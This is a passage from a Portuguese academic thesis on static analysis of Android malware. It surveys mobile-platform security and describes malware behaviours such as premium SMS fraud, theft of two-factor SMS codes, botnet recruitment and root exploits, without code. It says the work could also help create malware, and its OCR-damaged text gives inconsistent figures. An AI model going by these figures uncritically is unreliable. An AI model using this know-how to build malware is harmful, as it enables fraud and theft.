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RESUMO

O avanco da tecnologia permitiu que as plataformas mdveis obtivessem funcionalidades e
poder de processamento semelhantes aos dos computadores. Naturalmente, os sistemas
operacionais desenvolvidos para dispositivos mdveis tornaram-se alvos de ameagas a segurancga
de seus usuérios. Essas ameagas possuem 0s mais variados objetivos e o seu desenvolvimento
estd condicionado as vulnerabilidades presentes em cada sistema operacional.

O sistema operacional Android possui atualmente o maior percentual de usuarios dentre
todas as plataformas moveis, com uma cota de 52,2% do mercado de smartphones [1]. Além
disso, o sistema conta com uma politica de codigo aberto para facilitar o desenvolvimento de
suas aplicacOes. Esse fator contribuiu para que a plataforma se tornasse o principal alvo de
ameacas entre as plataformas moveis [2]. Os malwares desenvolvidos para esse sistema serdo
0 foco dessa pesquisa.

Para se defender dessas ameacas, fez-se necessario criar métodos para classificar softwares
em maliciosos ou ndo, para entdo a partir de um banco de dados de malwares conhecidos poder
identificar em novas aplicagdes comportamentos potencialmente maliciosos. Empresas
envolvidas com seguranca e pesquisadores da area trabalham com dois tipos existentes de
analise de malwares: dindmica e estatica. O objetivo deste trabalho é realizar uma pesquisa a
respeito da andlise estatica de malwares para Android, visando obter o méximo de
conhecimento acerca do comportamento desses aplicativos e dos mecanismos que eles se
utilizam para atingir seu objetivo, de maneira que a partir desse trabalho seja possivel, por
exemplo, criar um malware.

A pesquisa envolve desde informaces basicas sobre malwares e plataformas mdveis, até
um levantamento das ferramentas necessarias para a realizacdo da analise estatica no sistema
Android e, por fim, a utilizacdo dessas ferramentas para a analise estatica de trés casos de
malwares conhecidos.

A contribuicdo dessa pesquisa inclui a obtencdo de um relatério que aborda o problema
dos malwares para Android, oferecendo detalhes especificos para a realizacdo da analise
estatica de malwares para Android e fornecendo a base para uma possivel automatizacéo de um

método para realizar tais analises.



ABSTRACT

Advances in technology provided new functions to smartphones and a performance similar
to computers. Naturally, the mobile operating systems became targets for threats towards their
users' security. These threats have all sort of goals and their developments are driven by the
vulnerabilities that exist in each operating system.

The Android operating system has the highest users' percentage among the mobile
platforms available, and its market share corresponds to 52,2% of the mobile market [1].
Besides, the system counts with an open source driven politic in order to make the process of
developing applications easier. This factor contributed to transform the platform in the chief
target for mobile threats [2]. The malwares developed for this platform will be the main issue
discussed in this research.

In order to defend against these threats, it is necessary to create methods to classify
softwares in malicious ones or not, and then, from a database of known malwares identify in
these new threats their potential harmful behaviors. Companies involved with data security and
researchers in this area work with two kinds of available malware analysis: dynamic and static.
This report's goal is to perform a research about the Android malware static analysis, aiming to
obtain the maximum of knowledge regarding the behavior of these applications and the
mechanisms they use to achieve their goals, in a way that having this project one can create a
malware, for example.

This research presents since basic information about malwares and mobile platforms, until
a gathering of the needed tools to perform a malware static analysis in Android system, and at
last, utilize these tools to do a static analysis in three known-behaviored malwares.

This work's contributions include the achievement of a report that approaches a wide
discussion about the Android malware problems, besides providing specific details to perform
an Android malware static analysis and giving a basis to a possible automation of a method to
perform such analysis.



1 INTRODUCAO

O mercado de plataformas mdveis cresceu consideravelmente nos ultimos anos. O avango
da tecnologia proporcionou a essa plataforma recursos e poder de processamento que se
assemelham aos dos computadores pessoais. De fato, atividades como navegagéo na Internet,
compras online e acesso a redes sociais, eram uma exclusividade dos computadores pessoais
no passado. Aliado a isso, 0s smartphones possuem recursos unicos, como envio de mensagens
SMS, por exemplo. Essas facilidades e funcionalidades, que com o tempo contribuiram para
que as plataformas moveis ganhassem maior popularidade e adesdo, naturalmente as tornaram
alvos visados para desenvolvedores de malware.

Os desenvolvedores de malware buscam vulnerabilidades nos sistemas para realizar os
ataques. Como o mercado de sistemas operacionais para dispositivos méveis é diversificado,
cada sistema tem de ser explorado de forma diferente por esses desenvolvedores, e naturalmente
serdo oferecidas facilidades e limitagdes para desenvolvimento de malware de acordo com o
sistema.

Dentre os lideres do mercado, destacam-se a plataforma iOS da Apple e Android da
Google. As plataformas apresentam propostas diferentes para o desenvolvimento de suas
aplicacdes. Enquanto que o sistema da Apple apresenta uma arquitetura fechada, permitindo
aos usudrios adquirirem aplicativos apenas de sua loja, a qual aplica um criterioso processo de
revisao aos aplicativos, no Android a proposta é diferente, e para baixar um aplicativo faz-se
necessaria somente uma URL. A empresa Google conta também com uma loja oficial, no
entanto o processo de revisdo nao € tdo criterioso como o da Apple e quando realizado, ¢ feito
apos a aplicacdo ser aprovada na loja. No sistema Android, o que se mostra uma facilidade para
desenvolvedores de aplicativos e para os usuarios, também se torna uma vulnerabilidade do
sistema aos desenvolvedores de malware, que podem mascarar seus reais objetivos por tras de
um Servico que o usuario gostaria de obter a partir de um aplicativo.

Outro ponto é o sistema de permissdes apresentado pelo Android, que permite que
aplicacBes acessem diversos recursos do aparelho assim que se instalam no dispositivo,
inclusive recursos do sistema operacional. Se por um lado esse sistema de permissfes permite
personalizacdo em diversos niveis do sistema pelo usuério, torna-se outra vulnerabilidade do
sistema a ser explorada para os desenvolvedores de malware.

Se aliarmos essas caracteristicas do sistema Android com o fato de o sistema contar com o

maior nimero de usudrios dentre as plataformas maveis, pode-se entender a repercussao que o
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tema seguranca na plataforma Android possui atualmente, com publicacfes diarias em diversos

meios de comunicagdo sobre novas formas de malware e vulnerabilidades do sistema.

1.1 MOTIVACAO

As pessoas usam 0s seus smartphones e tablets para atividades semelhantes as que antes
realizavam apenas em computadores: navegacao na Internet, compras online, acesso a rede
sociais, etc. No entanto, muitas dessas atividades lidam com dados sensiveis dos usuarios, desde
dados pessoais ate dados bancarios. Somando-se a esse fato as peculiaridades de celulares como
0 envio de mensagens SMS, e o servico de localizagdo, por exemplo, um grande conjunto de

possibilidades naturalmente surge para os desenvolvedores de malware explorarem.

Para realizarem seus ataques o0s desenvolvedores de malware devem explorar
vulnerabilidades nos sistemas dos dispositivos moveis. Como o mercado de sistemas para
plataformas mdveis é diversificado, e cada plataforma apresenta uma forma diferente de
desenvolver e obter aplicativos, naturalmente existem plataformas que apresentam maiores

vulnerabilidades que as outras.

Outro fator que define a plataforma alvo para os desenvolvedores de malware é a sua
popularidade entre os usuarios. As plataformas Android e iOS contam com a quase totalidade
do mercado, 0 que as torna naturalmente mais visadas que as demais plataformas méveis. No
entanto, essas plataformas apresentam propostas diferentes, enquanto que no iOS h& um
controle rigoroso sobre as aplicacdes que serdo disponibilizadas aos usuarios, no sistema da
Google a proposta é diferente, e qualquer um pode desenvolver ou adquirir uma aplicacdo de
qualquer lugar. A proposta do sistema Android aliada a seu sistema de permissées permite um
alto grau de personalizacdo dos aparelhos com esse sistema, 0 que motivou o crescimento de

vendas de aparelhos com esse sistema.

Porém quando se trata de seguranca, quase a totalidade dos malwares em plataformas
moveis é desenvolvida para plataformas Android, enquanto que os aparelhos com o sistema
iOS registraram poucas ocorréncias de malware durante toda a histéria do sistema operacional
[3]. Pode-se entender os motivos dessa disparidade nos lideres de mercado devido as diversas
vulnerabilidades que o sistema Android apresenta em seu sistema, consequéncia direta de sua

proposta de facilitar o desenvolvimento e aquisic¢ao das suas aplicacdes.
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Se o sistema mais adotado pelos usuarios € também o sistema mais afetado por malwares,
naturalmente o tema de seguranca para Android é recorrente em diversos meios de
comunicacdo, e tema de discussdo de diversos trabalhos académicos [3] e de empresas de
seguranca como Sophos [2] e McAfee [1]. Alem disso, os malwares para Android j& existem
ha trés anos, quando foram descobertos como uma prova de conceito. Desde entdo se observa
uma sofisticacdo nos ataques e aumento significativo do nimero de usuarios infectados a cada
ano [3]. Para buscar uma solucédo para esse problema faz-se necessario primeiramente entender
0 comportamento desses malwares, para poder classificar uma aplicacdo como maliciosa ou
ndo e para entender quais vulnerabilidades estdo sendo exploradas. Isso é feito a partir de uma
analise do malware que pode ser feita de forma estatica ou dindmica. Ambas as abordagens

apresentam pros e contras, e ferramentas especificas.

1.2 OBJETIVO

Tendo em vista a importancia do tema de seguranca na plataforma Android, esse trabalho
visa explorar a analise de malware na plataforma Android, em particular a analise estatica,
escolhida em vez da dindmica por motivos académicos.

Além disso, tem como objetivo realizar uma extensa pesquisa na area de seguranca para
dispositivos moveis, possibilitando um entendimento amplo das principais ameagas aos mais
populares sistemas operacionais para dispositivos moveis disponiveis no mercado.

Dentre as plataformas moveis o foco do trabalho € o sistema Android. Para essa plataforma
serdo feitas pesquisas sobre: as principais ameacas ao sistema, o funcionamento das ferramentas
para analise estatica de malwares para Android e, por fim, a utilizacdo dessas ferramentas para
obtencdo de informacdes sobre o comportamento dos malwares. Para obter essas informacdes

sera realizada a anéalise estatica de trés malwares para Android com comportamento conhecido.
1.3 JUSTIFICATIVA
Dada a importancia do tema de seguranca na plataforma Android, aliado ao fato de esta ser
a plataforma com maior percentual de usuarios [4], faz-se necessario identificar o

comportamento das ameacas que surgem para o sistema e quais vulnerabilidades do sistema

essas ameacas estdo utilizando. Isso € feito a partir da analise de malwares, de forma a encontrar
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padrbes nas funcbes que eles utilizam e assim estabelecer critérios para identificar aplicagdes
maliciosas.

Os dispositivos moveis tém papel importante no desenvolvimento tecnolégico do Exército
Brasileiro. Esses dispositivos, contando com um sistema operacional (preferencialmente
Android por ser um sistema de arquitetura aberta), podem ser utilizados em conjunto com algum
software especifico para auxiliar em missdes de campo. Entender como funcionam os malwares
desenvolvidos para o sistema Android é importante para saber como se defender de possiveis
ataques cibernéticos e, caso necessario, saber como criar um malware. Por isso, 0 assunto
malwares para Android se insere no contexto da Guerra Cibernética, tema que vem crescendo
em importancia no Brasil. Existem diversos projetos da Secdo de Computacdo do IME
relacionados ao tema de softwares maliciosos, buscando contemplar algumas das muitas
possibilidades de manifestacdo desses softwares. Esse projeto contemplara especificamente os
malwares para dispositivos Android, permitindo a compreensdo das informagdes extraidas

desses malwares a partir de sua analise estatica.

1.4 METODOLOGIA

Como primeiro passo na realizacdo do trabalho foi feito um estudo bibliografico em torno
do assunto malwares para plataformas méveis. O primeiro objetivo foi conhecer as principais
plataformas moveis atualmente disponiveis no mercado de smartphones no que diz respeito ao
funcionamento dos seus sistemas de seguranca, seus histdricos de malwares e suas
vulnerabilidades. Além disso, observaram-se quais as principais motivaces que levaram os
desenvolvedores de malware a criar tais softwares. Baseando-se nesse conjunto de informacoes
sobre smartphones e malwares, foi estruturada e desenvolvida a primeira parte do trabalho

abordando malwares para smartphones.

Como o objetivo do trabalho inclui a analise de malwares, foi realizada uma pesquisa em
torno dos tipos de analise de malware, dindmica e estatica, buscando um entendimento

generalizado de cada tipo e das suas diferencas.

Apbs isso, focou-se a pesquisa nos malwares para Android, aproximando-se mais do
objetivo final do trabalho. Nesse momento, foram abordados os malwares em si, citando-se
exemplos ja existentes, acdes que eles desempenham e as funcionalidades dos smartphones que

sdo exploradas por esses malwares. Foi também discutido o assunto das permissdes que
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malwares acessam em aparelhos, comparando as permissdes acessadas por malwares e por

softwares legitimos.

Finalmente atingindo o objetivo do trabalho em seu aspecto mais técnico, foram
pesquisadas as principais ferramentas para analise estatica de malwares para Android. As
ferramentas estudadas foram: Android SDK [5], AndroGuard [6], VirusTotal API,
APKInspector, Smali/Baksmali e AXMLPrinter2.

Apbs o estudo das ferramentas foram documentados os passos para analise de trés

malwares para Android com comportamento conhecido.

1.5 ESTRUTURA

No capitulo dois sdo discutidas cada uma das principais plataformas moveis ja existentes
até os dias atuais. Para aquelas plataformas com maior popularidade foi feita uma analise mais
rebuscada quanto ao tratamento das empresas responsaveis por essas plataformas com a
seguranca do sistema.

O capitulo trés contém explanagdes sobre os tipos de analises de malwares, dinamica e
estatica. E feito também nesse capitulo uma breve introdugio sobre porque se fazem necessarias
as analises de malware.

No capitulo quatro, sdo tratadas algumas funcionalidades de malwares conhecidos e as
permissdes que estes acessam nos aparelhos em que séo instalados.

No capitulo cinco, sdo comentadas todas as ferramentas para analise estatica de malwares
para Android estudadas nesse trabalho.

No capitulo seis € realizada a andlise de trés malwares para Android.

E, por fim, uma concluséo com os resultados e contribui¢Ges do trabalho.
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2 MALWARES PARA SMARTPHONES

O desenvolvimento de malwares para plataformas moveis atinge quase a totalidade dos
sistemas que dominam o mercado atualmente. As principais plataformas moveis séo a iOS, a
Windows Phone, a Symbian, a Blackberry e a Android. Seré feita uma anéalise geral de cada um
desses sistemas e suas vulnerabilidades.

Sabe-se que todas as cinco plataformas usam permissfes em suas aplicagdes ou processos
de revisdo para prevenir a propagacdo de malwares. No entanto, cabe analisar quais tém

mecanismos de defesa realmente efetivos para protecdo dos dados contra malware.

2.1i0S

A plataforma iOS da marca Apple é um dos mais populares e avancados sistemas
operacionais para dispositivos méveis. No primeiro quadrimestre de 2013, a Apple alcancou a
venda de 38,3 milhdes de unidades de telefones moveis, [4] além dos seus outros dispositivos
moveis (iPad, iPod), que possuem o0 mesmo sistema operacional e também podem ser vitimas
de malwares.

Apesar da sua grande popularidade, apenas uma pequena quantidade de aplicativos
maliciosos foram descobertos na historia do iOS [3]. Esse fato pode ser atribuido a algumas
caracteristicas do sistema iOS e da Apple. Uma delas é permitir que seus usuarios instalem
somente aplicativos provindos da App Store, a loja de aplicativos da Apple. Isso agrega
seguranca ao dispositivo, pois séo disponibilizados na loja apenas os aplicativos que foram
aprovados pelas revisdes de seguranca da Apple. Quanto a essas revisdes de seguranca, podem-
se citar outras caracteristicas: a arquitetura de seguranca avangada da Apple e as normas rigidas
de revisdo na App Store.

Essa arquitetura de seguranca da Apple adota dois mecanismos: um de revisao obrigatéria
dos aplicativos e outro de assinatura de cddigo. No entanto, foi descoberto recentemente um
novo método de ataque que fundamentalmente vence ambos 0s mecanismos. Esse método
permite que invasores escondam com seguranga 0 comportamento malicioso que faria seu
aplicativo ser rejeitado pelos processos de revisao da Apple. E uma vez que o aplicativo passa
pela revisdo e é instalado no dispositivo de um usuério, ele pode ser instruido a realizar os
ataques para os quais foi destinado. A ideia chave € fazer os aplicativos serem remotamente

exploraveis e, posteriormente, introduzir controles de fluxo maliciosos por meio do rearranjo
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dos cddigos assinados. Como esses novos controles de fluxos ndo existiam durante o processo
de reviséo do aplicativo, tais aplicativos, chamados Jekyll Apps [7], ndo sdo detectados quando
revisados e obtém facilmente a aprovacao da Apple.

Os mesmos pesquisadores que desenvolveram esse método criaram um aplicativo Jekyll
[7] como prova de conceito e obtiveram sucesso em publicd-lo na App Store. A partir de um
grupo controlado de dispositivos, nos quais haviam instalado o aplicativo, foram entéo langados
ataques remotamente. O resultado mostrou que esse aplicativo pode realizar com sucesso varias
tarefas maliciosas, como postar tweets furtivamente, tirar fotos, roubar informacdes de
identidade do dispositivo, enviar email e SMS, atacar outros aplicativos e até explorar
vulnerabilidades de kernel [7].

Em teoria, apenas aplicativos aprovados pela App Store rodam em dispositivos iOS e, até
a criacdo desses aplicativos Jekyll, nada foi encontrado sobre outros aplicativos maliciosos que
também conseguiram a aprovacao da App Store. Contudo, existe outra forma de dispositivos
i10S adquirirem malware. Essa outra forma ocorre quando o dono do dispositivo faz o chamado
jailbreak [3] em seu aparelho, o que consiste em explorar a vulnerabilidade do aparelho para
ganhar acesso privilegiado. Dessa forma, o usuario pode instalar aplicativos que ndo sejam da
App Store. Entretanto, realizando esse processo, 0 usurio corre o risco de tornar o aparelho
inoperante e ainda invalida a garantia. Apesar disso, muitos donos de smartphones preferem
recorrer a esse processo no intuito de criar e instalar versGes customizadas de sistemas

operacionais [3].

2.2 WINDOWS PHONE

Windows Phone é o sistema operacional para telefones mdveis da Microsoft. Em 2008, a
Microsoft reorganizou o grupo Windows Mobile, plataforma mével antes desenvolvida pela
empresa, e comecou a trabalhar em um novo sistema operacional para dispositivos moveis [8].

A Ultima versdo do Windows Phone lancada foi o Windows Phone 8 (WP8) e, em termos
de seguranca, esse sistema operacional contém um novo e melhorado controle de seguranca, e
alguns analistas veem como o sistema operacional mais seguro desenvolvido pela Microsoft até
0 momento.

Com o langcamento do WP8, empresas finalmente tém a opcdo de um smartphone que mais
facilmente se integra com infraestruturas ja existentes. Além disso, o0 WP8 divide seu kernel

com o sistema operacional Windows 8 PC para computadores pessoais, de forma que usuarios
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e administradores tém uma interface unificada de usuario e podem manter seus aplicativos em
todos os seus dispositivos: smartphones, PCs e Microsoft Surface tablets [9].

O Windows Phone, no entanto, ainda ndo tem uma cota de mercado significativa, entéo
ainda ndo despertou tanto o interesse dos criadores de malware. Além disso, a estrutura de
certificacdo de todos os aplicativos publicados na loja Windows Phone é considerada segura
[10].

2.3 BLACKBERRY

A plataforma BlackBerry e dispositivo de mesmo nome s&o desenvolvidos pela Research
In Motion (RIM), uma companhia canadense de hardware e software. Um dos principais pontos
que levaram as pessoas a adquirirem o aparelho no momento do seu lancamento foi o fato de
este proporcionar um sistema integrado de mensagens sem fio, permitindo o acesso a email via
Internet sem fio por todo o mundo, o que foi algo inovador quando o BlackBerry foi lancado.
Outro ponto importante para a popularidade do BlackBerry € a sua abordagem de seguranca
abrangente e sistematica.

Mesmo o BlackBerry tendo um abrangente sistema de seguranca embutido em ambos os
niveis de dispositivos e de servidores, ainda assim, o sistema estd suscetivel a uma série de
possiveis ataques. Esses ataques variam no grau em que o usuario estd envolvido, e podem atuar
exportando do dispositivo dados confidenciais e utilizando o dispositivo como um proxy para
os invasores. Alguns desses ataques exigem que aplicativos sejam assinados digitalmente,
limitando suas possibilidades, enquanto outros podem ser conduzidos por cédigos néo
assinados. Entretanto, nenhum desses ataques é puramente autdnomo, pois todos exigem que o
usuario seja convencido a realizar certo nimero agdes para obter sucesso. Além disso, a
viabilidade de tais ataques depende muito da configuracdo dos controles existentes no
dispositivo BlackBerry. Usando esse mecanismo de seguranca disponivel no dispositivo (0s
controles) sdo reduzidos em grande parte 0s riscos associados com ataques aqui descritos [11].

2.4 SYMBIAN
Symbian é um sistema operacional mével e plataforma computacional projetada para

smartphones e atualmente mantido pela Accenture. A forma atual do Symbian é a plataforma

aberta que foi desenvolvida pela Symbian Foundation em 2009, como sucessora do sistema
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original Symbian OS. O Symbian foi utilizado por muitas das maiores marcas de telefones
maoveis, como Samsung, Motorola, Sony Ericsson e, principalmente, Nokia. Chegou a ser o
sistema operacional para smartphones mais popular em uma média mundial até o final de 2010,
quando foi superado pelo Android [14].

O sistema Symbian ndo previne nem desencoraja seus usuarios de instalarem aplicativos
de outras fontes que ndo a sua loja oficial, a Ovi. Existem muitos mercados populares
alternativos disponiveis e eles ndo contam com processos de revisdo dos aplicativos. No
entanto, o Symbian oferece um servico de assinatura de aplicativos que incorpora revisdes de
seguranca. Apenas aplicativos assinados pela Symbian tem permissdo para acessar privilégios
perigosos e todos sdo submetidos a um processo de revisdo de seguranca automatizado. Os
aplicativos que utilizam os mais perigosos privilégios sdo submetidos também a revisoes feitas
por pessoas [3].

De acordo com andlises feitas no ano de 2012, dos malwares encontrados para sistemas
operacionais moveis 19% sdo destinados para o0 Symbian [15]. No entanto, a noticia divulgada
pela Nokia de que ndo produzira mais aparelhos com Symbian [16] leva a conclusdo de que o
numero de malwares para o Symbian tende a diminuir até que ndo sejam mais desenvolvidos,

pois deixardo de existir dispositivos com esse sistema.

2.5 ANDROID

O sistema operacional movel Android teve impacto significante no mercado de
smartphones. No primeiro quarto de 2013 foram contabilizadas cerca de 156 milhdes de
unidades de dispositivos Android vendidos, equivalente a 74,4% da cota de mercado desse
periodo [4]. O Android tem como base o sistema operacional Linux e foi projetado
principalmente para dispositivos como smartphones, tablets e computadores. Foi langado em
2007 juntamente com a fundacdo da Open HandSet Alliance, um consércio de companhias de
hardware, software e telecomunicagdes dedicadas a promocdo de padrbes abertos para
dispositivos maveis [12].

Isso explica porque a maioria dos telefones Android permite que seus usuarios adquiram
aplicativos que ndo sdo da loja oficial, com o alerta dos riscos de exposi¢cdo a malware O
Android, assim como o iOS, proporciona aos seus usuarios uma loja oficial de aplicativos, a
Google Play. Porém, a empresa Google, atual proprietaria do sistema Android, ndo faz revisdo

dos aplicativos antes de lista-los na loja, apesar de algumas vezes revisar aplicativos depois de
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serem disponibilizados. No caso de reclamacdes de usuarios, o time da Google responsavel pela
seguranca do Android remove os malwares da Android Market, podendo também desinstalar
esses malwares dos dispositivos de usuarios.

O sistema de seguranca do Android, como a maioria dos sistemas operacionais, exige o
consentimento do usudrio antes que a aplicacdo possa acessar informagdes sensiveis ou
capacidades perigosas do sistema. Esses pedidos de permissdo podem alertar o usuario para as
atividades de um possivel malware. O Android, especificamente, informa aos seus usuarios
durante a instalacdo se um aplicativo deseja obter alguma permisséo. O sistema de permissdes
do Android é extenso, tendo as permissdes controle do acesso ao numero do telefone, lista de
contatos, cdmera, Bluetooth, etc. O sistema de permissdes do iOS é bem menos abrangente do
qgue o do Android, provavelmente porque a Apple conta principalmente com o processo de
revisao da App Store para seguranca [3].

A natureza de fonte aberta do Android n&o apenas estabeleceu uma nova direcdo para a
indUstria de sistemas para dispositivos moveis, mas também permitiu que desenvolvedores,
analistas forenses experientes e, infelizmente, criminosos sofisticados compreendessem o
dispositivo com detalhes em seu nivel mais fundamental. O lado bom disso é que a medida que
a plataforma rapidamente amadurece e continua a ser fornecida gratuitamente, operadoras e
fornecedores de hardware podem concentrar seus esfor¢os em personalizagdes do sistema de

forma a atrair clientes [13].
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3 MALWARES PARA ANDROID

Com uma cota de 52,2% do mercado de smartphones [1], a plataforma Android torna-se
um alvo muito visado por desenvolvedores de malware. De fato a plataforma apresenta a maior
quantidade de ameacas perante as outras plataformas moveis [1]. Quando comparado aos
computadores pessoais, observa-se um comportamento assimétrico nos paises, como

apresentado na Figura 4.1 abaixo [2].
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Taxa de exposi¢do & ameacas (TER) : Mede a percentagem de dispositivos Android e PCs que passaram por
alguma forma de ataque, seja com sucesso ou nio, durante um periodo de 3 meses.

Figura 4.1: Taxa de Exposicdo a Ameacas em plataformas Android e computadores pessoais
em diversos paises [2].

O gréfico também mostra que em paises como Estados Unidos e Australia, os ataques a
plataformas moveis superaram 0s ataques a computadores pessoais. Essa tendéncia deve
acompanhar naturalmente o processo de crescimento do mercado de dispositivos mdveis como

preveem pesquisas de empresas de seguranca [1].

Espera-se que as motivagdes para desenvolvimento de malware para as plataformas méveis
assemelhem-se as dos computadores pessoais em alguns aspectos, tendo em vista que atividades
antes desempenhadas apenas por computadores pessoais passaram a ser desempenhadas por
dispositivos mdveis. No entanto, caracteristicas importantes das plataformas moveis tornam
essa discussdo mais ampla, e um namero maior de possibilidades se apresentam aos

desenvolvedores de malware em plataformas moveis.
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3.1 FUNCIONAMENTO

A forma mais comum de ameaca encontrada para Android atualmente sdo aplicativos que
oferecem servigos ou jogos gratuitos no intuito de enganar o usuario e explorar o servico de
mensagens do aparelho, enviando mensagens SMS de servigos conhecidos como premium, para
diversos aparelhos, o que muitas vezes esgota os créditos do usuério do aparelho tendo em vista
que esse servico é o mais caro para envio de mensagens. Exemplos recentes incluem aplicativos
presentes em lojas de aplicativos ndo oficiais com os nomes de um jogo famoso: "Angry Birds
Space" em uma versao gratuita, e um anti-virus para Android, que na verdade enviavam esse
tipo de mensagem SMS ap6s se instalarem. Estima-se que ameacas desse tipo j& estejam
presentes em mais de 18 paises [2].

Também existem formas de malware apenas com o intuito de diversdo e constranger 0s
usuarios, como as primeiras formas de virus para computadores pessoais, no entanto sao poucas
as ameagas encontradas nesse sentido. Como exemplo o malware Smspacem [19] que enviava
mensagens de conteldo antirreligioso para os contatos do usuario do aparelho.

Outra modalidade de malware explora a possibilidade de aplicativos de aparelhos Android
poderem obter diversas informac¢Ges como o IMEI do aparelho, a lista de contatos do usuério,
enderecos de email e a localizacdo. A obtencdo do nimero IMEI pode ser usada para validar
aparelhos que foram roubados e tiveram seus numeros IMEI invalidados, o que os
impossibilitaria de utilizar servi¢os de uma rede celular. J& informaces como 0s contatos do
aparelho podem ser usadas para vender informag6es no mercado negro para agentes conhecidos
como “"spammers" e "scammers” [20].

Outro tipo mais sofisticado de ataque envolve o roubo de senhas de contas de e-mail e
contas bancérias do usuario interceptando mensagens de SMS. Esses servicos sdo combinados
com aplicacbes em desktops e visam interceptar mensagens que contenham um servico
comumente utilizado por bancos e algumas contas de e-mail, que consiste em uma segunda
autenticacdo das senhas via mensagem SMS. Podem ser citados dois malwares onde se
evidenciou primeiramente esse tipo de ameaca: Spitmo e ZeusMitmo [21]. A nomenclatura
desses malwares inclui o sufixo ITMO que significa “in the mobile”, expressando que sdo
versdes voltadas para plataformas madveis, mas que possuem varia¢des para desktop.

Mais uma forma de explorar o servigo de SMS do Android é utiliza-lo como uma forma de
fazer spam, seja para disseminar links de phishing ou entdo para propaganda. O interessante

dessa forma de ataque é que os servicos SMS tém um teor mais pessoal do que o e-mail. Sendo
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assim, € mais facil enganar um usuario que recebe um SMS de um contato seu, do que receber
um email, que j& é uma forma consagrada de SPAM [21].

Malwares para Android também podem ser usados para aumentar posicbes em
classificacbes de sites de busca que se baseiam na quantidade de acessos a links de
determinados sites. Assim essas formas de malware podem enviar requisi¢des em determinados
sites de busca para que um site especifico receba mais acessos. Como exemplo para esse tipo
de ataque o cavalo de tréia ADDR/HongTouTou [22] buscava aumentar a posi¢do de um site
chinés na classificacdo do site de busca chinés Baidu.

Formas mais sofisticadas de ataque como o DDoS se tornaram uma realidade [2] em
plataformas mdveis e os usuérios podem ter seus dispositivos recrutados para botnets que
podem realizar ataques de DDoS com diversos objetivos, desde servigos pagos por empresas
para derrubar seus concorrentes, até ataques desempenhados por paises. Uma forma de se evitar
um ataque de DDoS é limitar o nimero de requisi¢des por usuarios anénimos. No entanto,
diferente dos desktops, os celulares mudam seus enderecos IP em poucos minutos, o que
tornaria os ataques mais efetivos [23]. O problema em utilizar celulares nas botnets consiste em
limitacGes de seu uso de bateria e na velocidade da conexao reduzida, o que limitaria 0 nimero
de requisicGes que podem fazer. Porem com o avanco da tecnologia esses problemas tém se
tornado uma barreira cada vez menor para seu uso em botnets.

Como exemplo para essas novas formas de ataque, malwares conhecidos como Obad.a [2]
e Andr/KongFu-L [2] utilizam vulnerabilidades do sistema que lhes permitem ganhar acesso
privilegiado como administrador para instalar outras formas de malware, o que dificulta sua
deteccdo e remocao [2]. Enquanto isso, os malwares estéo recrutando os dispositivos infectados

para uma botnet.

3.2 OUTROS EXEMPLOS

A familia de virus conhecida como Andr/Boxer [2] ligada a dominios .ru (Russia),
corresponde a grande parte das ameacas encontradas atualmente (cerca de um ter¢o). Suas
paginas levam usuérios a acreditarem que algum servigo do aparelho precisa de atualizacéo,
como por exemplo o Skype, ou entdo que uma ameaca foi encontrada e é necessario instalar
um antivirus. Ao instalarem a aplicacdo 0s usuarios automaticamente comegcam a enviar

mensagens SMS para diversos dispositivos. Além do mais essa aplicagdo explora a permisséo
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para instalar pacotes, o que significa que pode instalar outros tipos de malware no aparelho no
futuro.
Outro exemplo inclui a aplicacdo conhecida como Geinimi [24], que podia enviar SMS a

outros celulares através de comandos remotos.

3.3 PERMISSOES

Todas as ameacas citadas anteriormente acessam determinadas permissfes do aparelho
como 0s servicos SMS, permissao para instalar outras aplicagdes, servigos de localizagéo, lista
de contatos do aparelho, etc. Portanto naturalmente uma questao surge quanto a possibilidade
de identificar os malwares para Android apenas pelas permissdes que eles acessam no telefone.
Para poder tirar uma conclusdo sobre o assunto devem ser analisadas ndo sé as permissdes
utilizadas por malwares, mas observar as utilizadas pelas aplicacdes legitimas.

Felt et al [4] observou o comportamento de 956 aplicativos que ndo configuram ameaca e
11 aplicativos que apresentavam alguma das acGes maliciosas apresentadas anteriormente. Para
observar o seu comportamento foram analisadas a quantidade de permissdes classificadas como

perigosas, isto é, que requerem a autorizac¢do do usuario antes da instalacéo.

Tabela 4.1: Permissfes perigosas acessadas por aplicacdes maliciosas e ndo maliciosas [4].

Ntmero de Permissdes Aplica¢des Ndo- Aplicag¢ées Maliciosas
Perigosas Maliciosas
0 75 (8%) =
1 154 (16%) 1
2 182 (19%) 1
3 152 (16%) -
4 140 (15%) 2
5 82 (9%) 1
6 65 (7%) =
7 28 (3%) 2
8 19 (2%) 1
9 21 (2%) 1
10 10 (1%) 1
11 6 (0,6%) 1
12 7 (0,7%) a
13 4 (0,4%) -
14 4 (0,4%) _
15 2 (0,2%) -
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Numero de Permissoes Aplicagoes Nao-
Aplicagdes Maliciosas

Perigosas Maliciosas
16 1 (0,1%) -
17 1 (0,1%) =
18 - -
19 = =
20 1 (0,1%) -
21 = =
22 - -
23 1 (0,1%) -
24 - -
25 = -
26 1 (0,1%) -

Pode-se observar na Tabela 4.1 acima que a média de permiss@es utilizadas em aplicacdes
maliciosas € de 6,18, ao passo que em aplica¢fes comuns esse numero é da ordem de 3,46. No
entanto, esse resultado é insuficiente para concluir que o nimero de permissfes € um fator
decisivo para classificar as aplicacdes, pois 2% das aplicacbes comuns apresentam um ndmero
de permissdes maior do que o de todos os malwares pesquisados e, como registrado na tabela
acima, apesar de a média de permissdes utilizadas por malwares ser alta, das aplicacbes que
acessam um grande nimero de permissdes (mais do que 12 permissfes) nenhuma se classificou
como malware. Esse resultado mostra que o nimero de permissdes por si s6 ndao pode ser usado
como indicativo para classificar uma aplicacdo como malware.

Uma abordagem mais contundente para esse problema consiste em identificar quais
permissdes sdo mais acessadas por aplicacGes que configuram malware do que aplicagdes
comuns. Uma andlise realizada pelo mesmo estudo [25] que produziu o resultado acima
concluiu que 73% dos 11 malwares analisados utilizavam permissdes de envio de SMS, ao
passo que apenas 4% das aplicacdes comuns utilizavam esse servi¢o. Isso mostra que essa
permissdo € um bom indicativo para uma pré-selecdo de aplicacdes que podem configurar
malware. Outra permissdo que é mais utilizada por aplicacGes maliciosas é a de obter o nimero
IMEI do aparelho. Enguanto 73% dos malwares analisados continham essa permissao, apenas
33% das aplicagfes comuns acessam essa permissdo. Nessa pesquisa observou-se também a
presenca de outras permissdes acessadas por malware como acesso a Internet, acesso aos dados
do cartdo SD e acesso a localizacdo. No entanto, essas permissdes também sdo utilizadas

frequentemente pelas aplicagcbes comuns.
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Outra abordagem tentou classificar as aplicagfes quanto a um conjunto de permissoes
